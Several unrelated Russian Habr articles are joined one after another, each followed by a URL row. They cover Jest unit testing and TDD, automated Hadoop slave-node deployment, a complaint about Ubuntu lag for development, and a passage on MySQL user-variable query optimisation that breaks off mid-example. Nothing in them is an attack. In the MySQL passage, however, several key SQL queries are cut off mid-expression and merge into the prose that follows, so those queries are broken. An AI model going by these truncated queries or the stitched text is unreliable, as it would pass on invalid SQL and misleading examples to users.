Функциональные и интеграционные тесты так же важны, но их сложнее настроить и реализовать, чем модульные тесты. В двух словах, модульный тест состоит из тестирования небольших частей вашего кода: функций, методов классов и т. д. Вы подаете на вход данные и подтверждаете, что получили ожидаемый результат.
*Преимущества модульного тестирования:*
* Делает код стабильнее;
* Облегчает изменения реализации функции без изменения ее поведения;
* Документирует ваш код. Вы скоро поймете, для чего.
* Заставляет вас делать правильно проектировать. Действительно, плохо разработанный код часто сложнее тестировать.
**Разработка через тестирование (TDD)**
Чтобы понять и использовать разработку через тестирование, запомните эти 2 правила:
1. Пишите тест, который не проходит, до написания кода.
2. Затем пишите код, который сможет пройти тест.
Когда мы используем TDD, мы говорим о цикле “red, green, refactor”.
Red: вы пишите провальный тест без написания кода.
Green: пишите простейший код, который сможет пройти тест. Даже если код кажется вам наиглупейшим.
Refactor: рефакторинг кода, если необходим. Не беспокойтесь, если вы поменяете код и ваши юнит-тесты сломаются, если что-то пойдет не так.
### Структурирование тестового файла
Jest предоставляет функции для структурирования тестов:
*describe:* используется для группировки ваших тестов и описания поведения вашей функции/модуля/класса. Он принимает два параметра. Первый — это строка, описывающая вашу группу. Второй — это функция обратного вызова, в которой у вас есть тестовые примеры или hook функции.
*it или test:* ваш модульный тест. Параметры такие же как и у describe. Должен быть описательным. Именование теста зависит от вас, но можно начинать с «Should».
*beforeAll (afterAll):* hook функция запускает до (и после) все тесты. Принимает один параметр, который является функцией, которую вы будете запускать до (и после) всех тестов.
*beforeEach (afterEach):* hook функция, которая выполняется до (и после) каждого теста. Принимает один параметр, который является функцией, которую вы будете запускать до (и после) каждого теста.
Перед тем, как писать любой тест, вы должны знать следующее:
Вы можете пропустить тест, используя *.skip* на *describe* и *it*: *it.skip(...)* или *describe.skip(...)*. Используя *.skip*, вы говорите Jest игнорировать тест или группу.
Вы можете выбрать именно те тесты, которые хотите запустить, используя *.only* на *describe* и *it*: *it.only(...)* или *describe.only(...)*. Это полезно, если у вас много тестов и вы хотите сосредоточиться только на одном или хотите «отладить» ваши тесты.
### Настройка Jest
Чтобы показать вам те функции тестирования, которые мы рассматривали выше, нам нужно настроить Jest. Это очень просто.
Вам нужны только Node.js и npm или Yarn. Убедитесь, что вы используете последнюю версию Node.js, поскольку мы будем использовать ES6. Создайте новый каталог и инициализируйте его.
```
mkdir test-example && cd test-example
npm init -y
# OR
yarn init -y
```
-y отвечает “да” на все вопросы npm или yarn. Он должен был создать очень простой файл package.json.
Затем добавьте *Jest* в среду разработки
```
yarn add jest --dev
```
Затем добавьте следующий скрипт в ваш *package.json*:
```
"scripts": {
"test": "jest"
}
```
*yarn test* будет запускать ваши тестовые файлы в каталоге. По умолчанию Jest распознает файлы, находящиеся внутри каталога \_\_tests\_\_, или файлы, которые заканчиваются на .spec.js, либо .test.js.
На этом все. Вы готовы писать первый тест.
### Matchers (образцы)
Когда вы что-то проверяете, вам нужен вход и ожидаемый результат. Вот почему Jest предоставляет образцы для проверки наших значений:
```
expect(input).matcher(output)
```
Jest имеет много образцов, вот самый важный:
toBe: сравнивает strict equality (===).
```
expect(1 + 1).toBe(2)
let testsAreEssential = true
expect(testAreEssential).toBe(true)
```
toEqual: сравнивает значения между двумя переменными, массивами или объектами.
```
let arr = [1, 2]
arr.push(3)
expect(arr).toEqual([1, 2, 3])
let x= 1
x++
expect(x).toEqual(2)
```
toBeTruthy (toBeFalsy): указывает, истинно ли значение (или ложно).
```
expect(null).toBeFalsy()
expect(undefined).toBeFalsy()
expect(false).toBeFalsy()
expect("Hello world").toBeTruthy()
expect({foo: 'bar'}).toBeTruthy()
```
toContain: проверяет, содержит ли массив элемент.
```
expect(['Apple', 'Banana', 'Strawberry']).toContain('Apple')
```
toThrow: проверяет, вызывает ли функция ошибку.
```
function connect () {
throw new ConnectionError()
}
expect(connect).toThrow(ConnectionError)
```
### Первые тесты
Теперь мы собираемся написать наш первый тест и поиграть с нашими функциями. Сначала создайте в своем каталоге файл example.spec.js и вставьте следующее:
```
describe('Example', () => {
beforeAll(() => {
console.log('running before all tests')
})
afterAll(() => {
console.log('running after all tests')
})
beforeEach(() => {
console.log('running before each test')
})
afterEach(() => {
console.log('running after each test')
})
it('Should do something', () => {
console.log('first test')
})
it('Should do something else', () => {
console.log('second test')
})
})
```
Обратите внимание, что нам не нужно импортировать все функции, которые мы используем. Они уже предоставлены Jest.
Запустите *yarn test*:
Поскольку у вас нет утверждений в тестах, они пройдут. Вы видели разные инструкции console.log? Вы должны лучше понимать, как работают ваши функции и тестовые примеры.
Теперь удалите все hook функции и добавьте *.skip* в первый тест:
```
describe('Example', () => {
it.skip('Should do something', () => {
console.log('first test')
})
it('Should do something else', () => {
console.log('second test')
})
})
```
Запустите *yarn test* еще раз:
Ничего страшного, если первый тест работать не будет.
Добавьте третий тест и используйте *.only*:
```
describe('Example', () => {
it('Should do something', () => {
console.log('first test')
})
it('Should do something else', () => {
console.log('second test')
})
it.only('Should do that', () => {
console.log('third test')
})
})
```
Еще раз запустим *yarn test*:
Во второй части статьи мы сделаем простую реализацию стека в JavaScript с помощью TDD. | https://habr.com/ru/post/430128/ | null | ru | null |
# Hadoop и автоматизация: Часть 3
Ну что ж, Хабражители, пришло время подытожить **цикл статей** ([часть 1](http://habrahabr.ru/company/epam_systems/blog/222485/) и [часть 2](http://habrahabr.ru/company/epam_systems/blog/222653/)), посвященных моему приключению с автоматизацией развертывания **Hadoop** кластера.
Мой проект практически готов, осталось только оттестировать процесс и можно делать себе насечку на фюзеляже.
В этой статье я расскажу про поднятие «движущей силы» нашего кластера — **Slaves**, а также подведу **итоги** и предоставлю полезные *ссылки* на *ресурсы*, которыми я пользовался на протяжении своего проекта. Возможно, кому-то статьи показались скудными на исходный код и детали реализации, поэтому в конце статьи я предоставлю ссылку на Github
Что ж, по привычке, в самом начале приведу схему архитектуры, которую удалось развернуть в облако.
В нашем случае, учитывая *тестовый* характер прогона, было использовано всего 2 **Slave**-узла, однако в реальных условиях их были бы десятки. Далее, я расскажу вкратце как было организовано их развертывание.
Развертывание Slaves-узлов
---------------------------
Как можно догадаться из архитектуры — **Slave**-узел состоит из 2 *частей*, каждая из которых отвечает за действия, связанные с частями **Masters**-архитектуры. **DataNode** является точкой взаимодействия *Slave*-узла с **NameNode**, которая координирует распределенное *хранение данных*.
Процесс *DataNode* подключается к сервису на *NameNode*-узле, после чего **Clients** могут обращаться с файловыми операциями напрямую к *DataNode*-узлам. Также стоит отметить, что *DataNode*-узлы ведут коммуникации между собой в случае **репликации данных**, что в свою очередь позволяет уйти от использования **RAID**-массивов, т.к. механизм репликации уже заложен программно.
Процесс развертывания **DataNode** достаточно прост:
* Установка пререквизитов в виде *Java*;
* Добавление репозиториев с пакетами *Hadoop* дистрибутива;
* Создание костяка директорий, необходимых для установки *DataNode*;
* Генерация файлов конфигурации на основе *шаблона* и *атрибутов* *cookbook*-а
* Установка *пакетов* дистрибутива (*hadoop-hdfs-datanode*)
* Запуск процесса *DataNode* путем `service hadoop-hdfs-datanode start` ;
* Регистрация статуса процесса *развертывания*.
В итоге, если все данные указаны верно и конфигурация применена — на web-интерфейсе *NameNode*-узлов можно будет увидеть добавленных *Slave*-узлов. Это означает, что *DataNode*-узел теперь доступен для файловых операций, связанных с распределенным хранением данных. Скопируйте файл в HDFS и убедитесь сами.
**NodeManager**, в свою очередь, отвечает за взаимодействие с **ResourceManager**, который управляет *задачами* и *ресурсами*, доступными для их выполнения. Процесс развертывания **NodeManager** аналогичен процессу в случае с *DataNode*, с разницей в имени пакета для установки и сервиса (*hadoop-yarn-nodemanager*).
После успешного завершения развертывания *Slaves*-узлов — можно считать наш кластер готовым. Стоит обратить внимание на файлы, устанавливающие **переменные среды** (hadoop\_env, yarn\_env, etc.) — данные в переменных должны соответствовать реальным значениям в кластере. Также, стоит обратить внимание на верность значений переменных, в которых указываются **доменные имена** и **порты**, на которых работает тот или иной сервис.
Как мы можем проверить работоспособность кластера? Самый доступный вариант — запуск *задания* с одного из **Clients**-узлов. Например, вот так:
```
hadoop jar ./share/hadoop/mapreduce/hadoop-mapreduce-examples-2.2.0.jar pi 2 5
```
где *hadoop-mapreduce-examples-2.2.0.jar* — имя файла с описанием *задания* (доступно в базовой инсталяции), *pi* — указывает на *тип* задания (MapReduce Task в данном случае), а *2* и *5* — отвечают за параметры *дистрибуции* заданий (детальнее — [тут](http://wiki.apache.org/hadoop/HowManyMapsAndReduces)).
**Результатом**, после проведения всех вычислений, будет *вывод* в терминал со статистикой и результатом вычислений, либо создание *output*-файла с выводом данных туда (характер данных и формат вывода их зависит от задания, описанного в *.jar*-файле).
*<Конец/>*
Вот такие кластеры и пироги, уважаемые *Хабражители*. На данном этапе — я не претендую на *идеальность* данного решения, т.к. впереди еще этапы тестирования и внесения улучшений/правок в код *cookbook*-а. Хотелось поделится опытом, описать еще один *подход* к развертыванию кластера **Hadoop** — подход не самый простой и ортодоксальный, я бы сказал. Но именно в таких нетрадиционных условиях — закаляется «сталь». Моя финальная цель — скромный аналог **Amazon MapReduce** сервиса, для нашего приватного облака.
Я очень приветствую **советы** от всех, кто уделит и уделил внимание этому **циклу статей** (отдельное **спасибо** [ffriend](https://habrahabr.ru/users/ffriend/), который уделил внимание и задавал вопросы, некоторые из которых навели меня на новые идеи).
Ссылки на материалы
-------------------
Как и обещал, вот перечень **материалов**, которые, на ряду с моими коллегами, помогли довести проект до приемлемого вида:
— Детальная документация по **HDP** дистрибутиву — [docs.hortonworks.com](http://docs.hortonworks.com/)
— **Wiki** от отцов, **Apache Hadoop** — [wiki.apache.org/hadoop](http://wiki.apache.org/hadoop/)
— **Документация** от них же — [hadoop.apache.org/docs/current](http://hadoop.apache.org/docs/current/)
— Немного устаревшая (в терминах) статья-описание **архитектуры** — [тут](http://bradhedlund.com/2011/09/10/understanding-hadoop-clusters-and-the-network/)
— Неплохой **tutorial** в 2 частях — [тут](http://www.michael-noll.com/tutorials/running-hadoop-on-ubuntu-linux-single-node-cluster/)
— Адаптированный перевод tutorial от [martsen](https://habrahabr.ru/users/martsen/) — [habrahabr.ru/post/206196](http://habrahabr.ru/post/206196/)
— Community **cookbook** "*Hadoop*", на основе которого я сделал свой проект — [Hadoop cookbook](http://community.opscode.com/cookbooks/hadoop)
— В итоге — мой скромный **проект** как он есть (впереди обновления) — [GitHub](https://github.com/IevgenKabanets/hadoop_services)
Всем **спасибо** за внимание! **Комментарии** — приветствуются! Если могу чем-то **помочь** — обращайтесь! До новых встреч.
*UPD. Добавил ссылку на статья на Хабре, перевод tutorial-а.* | https://habr.com/ru/post/223021/ | null | ru | null |
# Ubuntu as developer instrument?
It isn't real!
--------------
Почему так громко? Крик души. Возможно он мне не поддается, этот убунту, либо возможно `crooked_hands = On`. Не знаю.
### НО
Установив себе этого зверя (да, внешне его можно сделать очень красивым, он гибок и устойчив), но, есть одно НО: он слишком «дёрганный». В каком смысле? — В том смысле, что слишком сильно подлагивают окошки, и прочий контент.
### Aptana Studio
Установив себе этот агрегат на Hardy, понял, что работать так нельзя. Печатаешь буковку, отображается спустя n-ное кол-во милисекунд.
Ну как так можно?
Может я не прав? Как то же люди работают в этой прекрасной среде, Ubuntu.
Драйвера все он установил, вроде бы всё прекрасно, но лаги (а уж там где флеш, я вообще молчу), безобразные.
> `Ubuntu 8.04
>
> AMD Athlon X2 Dual 4800+
>
> 2Gb RAM
>
> ASUS M2 Motherboard,
>
> video Nvidia 8600 GT`
>
>
Как?? Как иначе?
**UPD: Не понимаю к чему минусы? Сам долго мучался с Ubuntu, понравилась, но работать в ней сложно. Может кто-то посоветует солюшены какие-нибудь. Что бы починить и убрать нафиг эти лаги.
Спасибо за понимание.
Спасибо за минусы.
Человек спрашивает — человек отвечает,
в этом заключается помощь и смысл сообществ.**
UPD2: Спасибо огромное тем, понимающим людям, которые поправили карму на место. Очень вам признателен! Есть ещё умные, толковые и добрые люди. И отдельное спасибо тем, кто объяснил, «как и что». Хорошие люди! | https://habr.com/ru/post/25325/ | null | ru | null |
# Оптимизация запросов MySQL с использованием пользовательских переменных
**Введение.** В современном мире существует большое количество задач, в рамках которых приходится обрабатывать большие массивы однотипных данных. Яркими примерами являются системы для анализа биржевых котировок, погодных условий, статистики сетевого трафика. Многие из этих систем используют различные реляционные базы данных, в таблицах которых содержатся такие объемы данных, что правильное составление и оптимизация запросов к этим таблицам становится просто необходимым для нормального функционирования системы. В этой статье описаны методы решения ( и сравнительные временные характеристики используемых методов ) нескольких задач по получению данных из таблиц СУБД *MySQL*, содержащих статистику о проходящем через маршрутизаторы одного из крупных российских сетевых провайдеров сетевом трафике. Интенсивность потока данных, поступающего с главного маршрутизатора такова, что ежесуточно в таблицы базы данных используемой системы мониторинга сетевого трафика поступает в среднем от 400 миллионов до миллиарда записей, содержащих информацию о транзакциях *TCP/IP* (рассматриваемый маршрутизатор экспортирует данные по протоколу *netflow*). В качестве СУБД для системы мониторинга используется *MySQL*.
**Использование баз данных.** Запросы в теории реляционных баз данных базируются на концепции операций над множествами, а в теории множеств концепция времени отсутствует. В действительности же всё иначе: СУБД реализуют абстрактные концепции на базе реального оборудования. В результате выполнение запросов требует много (иногда чрезвычайно много) времени, и не всегда есть возможность ждать длительное время, поэтому проблема поиска путей ускорения применяемых запросов стоит достаточно остро — благо, эти пути существуют. Один из основных и наиболее часто применяемых способов – индексирование таблиц, позволяющее ускорить их просмотр. Другой способ – создание запросов, оказывающих влияние на механизм планирования, позволяющий запросам различных клиентов взаимодействовать более эффективно. Также существует возможность модифицировать настройки аппаратной части, позволяющие повысить производительность, обойдя физические ограничения, присущие тому или иному типу оборудования.
**Работа с индексами**. Таблица, в который нет индексов, представляет собой беспорядочный набор строк, и для поиска нужной записи, допустим по id, необходимо проверить все ее строки на совпадение с искомым значением, для этого нужно просканировать всю таблицу от начала до конца. Это может занять много времени и будет исключительно неэффективно, особенно если таблица содержит только несколько записей, удовлетворяющих условию поиска.
В качестве примера рассмотрим таблицу, содержащую подведомственные рассматриваемому интернет-провайдеру организации. В данном контексте в таблице присутствует два поля – id организации (**org\_id**) и название организации (**org\_name**).
Допустим, мы добавили индекс на поле **org\_id** (см. Рис. 1 ). Индекс содержит запись о каждой строке из таблицы, и записи индекса отсортированы по значению **org\_id**. Теперь вместо сканирования всех записей в таблице мы можем воспользоваться индексом. Предположим, что требуется найти строку, содержащую запись об организации (*Институт автоматики и электрометрии СО РАН*), у которой уникальный идентификатор (**org\_id**) равен 2. Сканирование по индексу возвращает одну строку. Значения в индексе отсортированы по возрастанию, поэтому достижении следующего значения (с **org\_id** равным *3*) можно завершать сканирование: после *3* мы уже не найдем нужных значений. В случае, если искомые значения находятся где-то посередине таблицы, с помощью специальных алгоритмов (например, методом бинарного поиска) можно перейти к нужной строке без длительного линейного сканирования таблицы.
Рис. 1. Взаимодействие с таблицей, с использованием индекса
В целом, большинство запросов можно оптимизировать, если правильно создать нужные индексы в таблице и построить запрос так, чтобы они эффективно использовались. Однако существуют такие запросы, скорости выполнения которых отнюдь не помогают индексы — например, в случае, когда по индексу выбирается больше чем около 1/10 всех записей в таблице, оптимизатор предпочтет *FTS (Full Table Scan)* вместо использования индекса, поскольку последовательное чтение с диска происходит быстрее, чем читать из разных частей диска (передвижение головки по диску — *seek* — это “дорогая” операция). Оптимизатор можно “заставить” использовать индекс, используя опцию **FORCE INDEX**, но это обычно не даёт выигрыша в скорости. Также таблицы могут быть такого большого размера, что создание индекса будет непрактичным с точки зрения занимаемого объема или длительности выполнения операции. Кроме того, за удобство использования индексов приходится определенным образом “расплачиваться”, у индексов есть свои недостатки. В большинстве своем они незначительны, но о них стоит знать.
**Недостатки использования индексов.** Во-первых, индексы ускоряют поиск данных, но замедляют операции добавления, удаления и модификации данных в индексируемых столбцах, поскольку при каждом изменении данных в такой таблице приходится перестраивать индекс. Взаимосвязь тут простая: чем больше индексов имеет таблица, тем больше замедление операций над записями.
Во-вторых, индексный файл занимает определенное место на диске (нередки случаи, когда индексы занимают больше места, чем сами данные). При создании большого количества индексов, размер такого индексного файла может быстро достичь максимального размера. Это может стать причиной достижения предельного размера таблицами быстрее, чем это было бы без использования индексов.
* Для таблиц типа [MyISAM](http://dev.mysql.com/doc/refman/5.0/en/myisam-storage-engine.html) излишнее индексирование таблиц может привести к достижению индексным файлом его максимального размера быстрее, чем файлом данных ( проблему можно решить с помощью [PARTITIONING](http://dev.mysql.com/doc/refman/5.1/en/partitioning.html)).
* Таблицы типа [BDB](http://dev.mysql.com/doc/refman/5.0/en/bdb-storage-engine.html) хранят данные и индексы в одном файле. Это, безусловно, является причиной более быстрого достижения максимального размера табличным файлом.
* Таблицы типа [InnoDB](http://dev.mysql.com/doc/refman/5.0/en/innodb-storage-engine.html) размещаются в едином табличном пространстве. При добавлении индексов дисковое пространство, отведенное под табличное пространство, будет исчерпано быстрее.
**Пользовательские переменные.** MySQL поддерживает [пользовательские переменные](http://dev.mysql.com/doc/refman/5.0/en/user-variables.html) (далее в тексте **ПП**), начиная с версии 3.23.6. Переменным можно присваивать значения, и обращаться к ним позже — это можно также использовать, когда есть потребность сохранить результаты вычислений для использования в дальнейших запросах.
Например, для того, чтобы найти изделия с минимальной ценой, можно выполнить следующие действия:
```
SELECT @min_price:=MIN(price) FROM shop;
SELECT * FROM shop WHERE price=@min_price;
```
Пользовательские переменные записываются как **@var\_name**, и могут принимать значения целого (**int**), дробного (**real**) и строчного (**string**) типа. Присваивание переменной значения производится через оператор SET (`SET @var1='RUS'`), через оператор *SELECT* (`SELECT 'RUS' INTO @var1;`) или в ходе выполнения запроса через оператор “:=” (“=” трактуется как равенство) (**@var1:=72**).
Неинициализированная переменная принимает значение **NULL**.
> Необходимо инициализировать переменные до выполнения запроса, так как иначе тип переменных определится в процессе выполнения самого запроса, а определится он может некорректно, в результате будет получен неверный результат. [Пример](http://sqlinfo.ru/forum/viewtopic.php?id=4235), [обсуждение](http://bugs.mysql.com/bug.php?id=61408).
>
>
**Преимущества использования ПП**. Возможность сохранять промежуточные результаты в переменных и оперировать им по ходу дальнейшего выполнения запроса позволяет значительно ускорить выполнение некоторых запросов (за счет меньшего количества сканирований таблицы), а также позволяет выполнять такие запросы, которые в стандартной реляционной модели реализуются очень сложно или вовсе не реализуются.
**Недостатки использования ПП.**
* Сложная переносимость на другие СУБД (механизм ПП служит определенной надстройкой над реляционной моделью баз данных в рамках СУБД MySQL). Впрочем, данный недостаток не очень критичен, поскольку на данный момент все крупные СУБД имеют свои отклонения от стандарта ANSI SQL.
* Поведение пользовательских переменных будет зависеть от порядка выполнения сложного запроса, который может меняться оптимизатором MySQL (если не используется оператор **STRAIGHT\_JOIN**).
**Пример №1.** Одной из важных задач в мониторинге сетевого трафика является фиксация пиков загрузки предоставляемых каналов связи от поставщиков интернета (см. Рис. 2).
Рис. 2. График, отображающий динамику загрузки канала
Система мониторинга сохраняет информацию о входящем и исходящем трафике целиком, и в частности, по каждому из каналов в отдельных таблицах. Тип таблицы – *MyISAM*.
Упрощенная форма таблицы такого типа:
| | | |
| --- | --- | --- |
| **t** (временная метка) | **src** (количество отданных байт) | **dst** (количество принятых байт) |
Для поиска максимального скачка входящего (также как и исходящего, но в этом случае идёт работа с полем **src**) трафика необходимо просканировать всю таблицу, при этом сравнивая значения поля **dst**, соответствующие меткам tprev (временная метка на предыдущем шаге ) и tcurr (временная метка на текущем шаге). В этом и состоит основная сложность: в рамках реляционной модели невозможно запомнить предыдущее значение в процессе сканирования таблицы и использовать его напрямую. Его можно вычислить с помощью подзапроса
```
SELECT dst FROM t t2 WHERE t2.t
```
где **t1.t** – текущее значение временной метки), но такая конструкция сильно усложняет запрос, в общем случае сложность запроса с [O(n)](http://en.wikipedia.org/wiki/Big_O_notation) увеличивается до O(n2) (из-за того, что приходится для каждой временной метки вычислять предыдущую путём сканирования всей таблицы), что сильно сказывается на скорости выполнения запроса. В случае наличия в таблице уникального индекса на поле **t**, вычисление будет проводиться значительно быстрее, но это тогда, когда точно известно, что в таблице нет пропущенных временных меток (а такая идеальная ситуация практически не встречается), и предыдущая временная метка вычисляется просто вычитанием нужного интервала из текущей (по уникальному индексу выборка проходит очень быстро). В общем же случае значение временной метки на предыдущем шаге приходится вычислять подзапросом, основанным не на строгом равенстве, а на нестрогом, используя сортировку, и такой запрос, естественно, работает значительно дольше. В реляционном варианте в подзапросе для более быстрой выборки данных требуется индекс на поле **t**, а во внешнем запросе идёт работа с полем **dst**, поэтому в данном случае в таблице создан составной индекс **t\_dst** на поля (**t**, **dst**).
Вариант запроса в рамках реляционной модели БД:
```
SELECT MAX(t1.dst-(SELECT dst FROM t t2 WHERE t2.t
```
Как видно из запроса, приходится приходить по таблице n + 1 раз. пользовательские переменные позволяют реализовать такой запрос за один проход по таблице. для того чтобы запрос, который осуществляет один проход по таблице сработал корректно, необходимо, чтобы данные выбирались в порядке возрастания временной метки.
этого можно достичь следующими путями.
* Отсортировать данные в таблице (если это требуется) запросом `ALTER TABLE `t` ORDER BY `t`` (для таблиц типа *MyISAM* – рабочее решение) до выполнения запроса. В случае, если данные были вставлены последовательно, но из таблицы было удалено несколько записей, нужно дефрагментировать таблицу запросом `OPTIMIZE TABLE `t``. Поскольку данные отсортированы заранее, то в запросе применяется инструкция `IGNORE INDEX(t_dst)`, чтобы данные выбирались не по индексу, а последовательно.
* Наличие составного индекса на выбираемые (используемые в **WHERE/ORDER BY/GROUP BY**) поля позволяет выбирать по нему (по индексу) данные – то есть в порядке возрастания выбираемого поля. В данном случае наличие составного индекса **t\_dst** на поля (**t**,**dst**) обеспечивает выборку данных в порядке возрастания метки **t**. Для того чтобы оптимизатор обязательно использовал индекс при выборке, нужно применить инструкцию `FORCE INDEX(t_dst)`.
* Выбирать данные не из таблицы t, а из созданной из нее динамической выборки, отсортированной по полю t по возрастанию (`SELECT * FROM `t` ORDER BY `t``).
Возможность выбрать данные за один проход основана на том, что есть возможность запомнить значение столбца dst на предыдущей строке таблицы в пользовательскую переменную и сравнить его со значением dst на текущей строке таблицы.
Запрос, работающий с таблицей, где данные расположены в нужном порядке.
```
SET @data=NULL, @next_data=NULL, @max_value=0;
SELECT @next_data:=`dst` `nextdata`,IF (@next_data- @data>@max_value, @max_value:=@next_data-@data, @max_value), @data:=dst FROM `t` IGNORE INDEX(t_dst);
SELECT @max_value;
```
Запрос, выбирающий данные в нужном порядке по индексу:
```
SET @data=NULL, @next_data=NULL, @max_value=0;
SELECT @next_data:=`dst` `nextdata`,IF (@next_data- @data>@max_value, @max_value:=@next_data-@data, @max_value), @data:=dst FROM `t` FORCE INDEX(t_dst);
SELECT @max_value;
```
Запрос, сортирующий данные в процессе выборки:
```
SET @data=NULL, @next_data=NULL, @max_value=0;
SELECT @next_data:=`dst` `nextdata`, IF (@next_data - @data > @max_value, @max_value:=@next_data-@data, @max_value), @data:=dst FROM (SELECT * FROM `t` ORDER BY t) t1;
SELECT @max_value;
```
В таблице 1 приведены длительности выполнения запросов (при разном количестве строк в таблице). Количество строк в таблице определяется длительностью интервала. В данном случае рассматриваются интервалы длительностью в одну минуту.
| | | | | | |
| --- | --- | --- | --- | --- | --- |
| Период | Количество строк | Реляционный вариант запроса | Запрос с ПП (последовательная выборка) | Запрос с ПП (сортировка в процессе выполнения) | Запрос с ПП (сортировка осуществляется за счет выборки по индексу) |
| 1 день | 1,440 | 2,67 сек | 0.00 сек | 0.00 сек | 0.00 сек |
| 1 неделя | 10,080 | 2 мин 11 сек | 0.00 сек | 0.01 сек | 0.02 сек |
| 1 месяц | 43,200 | 40 мин 1 сек | 0.02 сек | 0.04 сек | 0.07 сек |
| 1 год | 525,600 | Более трёх суток | 0.54 сек | 0.68 сек | 0.94 сек |
Таблица 1. Измерения длительностей выполнения запросов из примера №1.
Результаты измерений длительностей выполнения запросов подтверждают то, что реляционный вариант запроса в данном случае абсолютно неприменим, а все варианты запросов с пользовательскими переменными выполняются быстрее чем за секунду, что в большинстве случаев приемлемо.
**Пример №2.** Для анализа загрузки канала регулярно приходится оценивать загрузку за определенные временные промежутки (по несколько секунд, несколько минут). В данном случае выбран интервал с длительностью 5 секунд. Структура таблицы, из которой выбираются данные — такая же, как в примере №1, временная метка **t** должна иметь тип **TIMESTAMP**.
Реляционным запросом такая выборка реализуется через группировку с последующей сортировкой результатов:
```
SELECT `t`-INTERVAL(UNIX_TIMESTAMP(`t`)%5) SECOND AS s5,SUM(`dst`) AS `d` FROM `t` GROUP BY s5 ORDER BY `t
```
Помимо полного прохода по таблице в данном запросе еще реализуется группировка и сортировка результатa.
Тот же запрос можно реализовать через пользовательские переменные с меньшей нагрузкой за счет отсутствия явной группировки, и, следовательно, сортировки (при условии, что в таблице нет пропущенных временных меток).
Запрос, работающий с таблицей, где данные расположены в нужном порядке:
```
SET @c:=0;
SELECT `t`, `dst` FROM ( SELECT `t`, IF(UNIX_TIMESTAMP(`t`) % 5, @c := @c+`dst`, @c := `dst`) AS `dst`, IF ((UNIX_TIMESTAMP(`t`) + 1) % 5, 1,0) AS `mark` FROM `t` IGNORE INDEX(`t_dst`)) t1 WHERE mark = 0;
```
Запрос, выбирающий данные в нужном порядке по индексу:
```
SET @c:=0;
SELECT `t`, `dst` FROM ( SELECT `t`, IF(UNIX_TIMESTAMP(`t`) % 5, @c := @c+`dst`, @c := `dst`) AS `dst`, IF ((UNIX_TIMESTAMP(`t`) + 1) % 5, 1,0) AS `mark` FROM `t` FORCE INDEX(`t_dst`)) t1 WHERE mark = 0;
```
Запрос, сортирующий данные в процессе выборки:
```
SET @c:=0;
SELECT `t`, `dst` FROM ( SELECT `t`, IF(UNIX_TIMESTAMP(`t`) % 5, @c := @c+`dst`, @c := `dst`) AS `dst`, IF ((UNIX_TIMESTAMP(`t`) + 1) % 5, 1,0) AS `mark` FROM ( SELECT * FROM `t` ORDER BY `t`) t1) t2 WHERE mark = 0;
```
В рамках выполнения подзапроса сперва идёт суммирование в переменную **@c**, и в случае, если временная метка соответствует пятисекундному интервалу, то обнуляется счетчик и метке **mark** присваивается значение 1. Далее внешний запрос выбирает те строки, у которых **mark** равен 1, то есть искомые.
В таблице 2 приведены длительности выполнения запросов (при разном количестве строк в таблице).
| | | | | | |
| --- | --- | --- | --- | --- | --- |
| Период | Количество строк | Реляционный вариант запроса | Запрос с ПП (последовательная выборка) | Запрос с ПП (сортировка в процессе выполнения) | Запрос с ПП (сортировка осуществляется за счет выборки по индексу) |
| 1 день | 86,400 | 0.11 сек | 0.05 сек | 0.1 сек | 0.08 сек |
| 1 неделя | 604,800 | 0.86 сек | 0.33 сек | 0.73 сек | 0.6 сек |
| 1 месяц | 2,592,000 | 33.72 сек | 1.65 сек | 3.62 сек | 2.83 сек |
| 1 сезон
(3 месяца) | 7,776,000 | 2 мин 45 сек | 4,87 сек | 10.46 сек | 8.36 сек |
Таблица 2. Измерения длительностей выполнения запросов из примера №2
Как и в первом примере, приведенные варианты запросов с использованием пользовательских переменных MySQL работают в несколько раз быстрее.
**Пример №3**. С точки зрения работы сети подведомственные организации описываются определенными техническими характеристиками, в частности, выделенными для организации диапазонами IP-адресов. Иногда возникает потребность вычленить самые крупные непрерывные блоки IP-адресов, выделенные для организации.
Таблица организаций и их сетевых диапазонов (nets) представлена следующим образом:
| | | | |
| --- | --- | --- | --- |
| **org\_id**
(id организации) | **org\_name**
(название организации) | **net**
(адрес сети, 4 байта) | **net**
(маска сети, 4 байта) |
В случае, если нужно выбрать самый крупный непрерывный сетевой диапазон у каждой организации, особых сложностей нет. Но если необходимо выбрать по два самых крупных сетевых диапазона – реляционный вариант запроса на выборку становится достаточно сложным – необходимо для каждого диапазона посчитать количество более крупных сетевых диапазонов, после отсеять те, которые меньше первых двух (подробнее см. [здесь](http://sqlinfo.ru/forum/viewtopic.php?id=1742)).
Вариант запроса в реляционной модели:
```
SELECT
t1.org_id,
t1.org_name,
(SELECT
count(*)
FROM
`nets` t2
WHERE
t2.org_id = t1.org_id AND ((t2.mask<<32)+t2.net) < ((t1.mask<<32)+t1.net)
) c,
inet_ntoa(t1.net),
inet_ntoa(t1.mask)
FROM
nets t1
HAVING
c<2
ORDER BY
org_id, mask;
```
С помощью пользовательских переменных можно в рамках одного прохода подсчитывать количество выведенных сетевых диапазонов и обнулять счетчик при смене организации. В случае, если счетчик достигает нужного значения (в данном случае 2), записи не выводятся. Саму таблицу перед использованием нужно отсортировать по размерам сетевых диапазонов в рамках организации.
Вариант запроса с пользовательскими переменными MySQL:
```
set @i=0, @p=0;
SELECT
t.org_id,
t.org_name,
inet_ntoa(t.net), inet_ntoa(t.mask)
FROM
( SELECT * FROM `nets` ORDER BY `org_id`, `mask` ) AS t
WHERE
( (if (@p=org_id, @i:=@i+1,(@i:=0) or (@p:=org_id))) and @i<2);
```
Большая эффективность запроса с ПП истекает из того, что в реляционном варианте запроса присутствует подзапрос, который обрабатывает каждую запись в таблице.
**Пример №4.** В предыдущих экспериментах ни разу не рассматривался вариант модификации структуры таблицы (в реальной жизни далеко не всегда ее можно или удобно менять). Однако при работе с темпоральными таблицами просто напрашивается решение сделать еще одну колонку, которая будет содержать предыдущее значение **prev** измеряемого параметра. Для наиболее высокой скорости поиска максимального перепада значении можно добавить поле, которая будет содержать разницу **diff** между текущим значением измерения **d** и предыдущим.
Рассмотрим вариант изменения структуры таблицы – добавление колонки **prev**. Исходная таблица с данными такова:
| | |
| --- | --- |
| **t** (временная метка) | **d** (данные измерения) |
Таблица не содержит индексов и первичного ключа – при наличии индекса на поле **t** или составного индекса на поля (**t,d**) реляционный вариант запроса работает [значительно медленнее](http://sqlinfo.ru/forum/viewtopic.php?id=4973).
Вариант модификации в рамках реляционной модели БД:
```
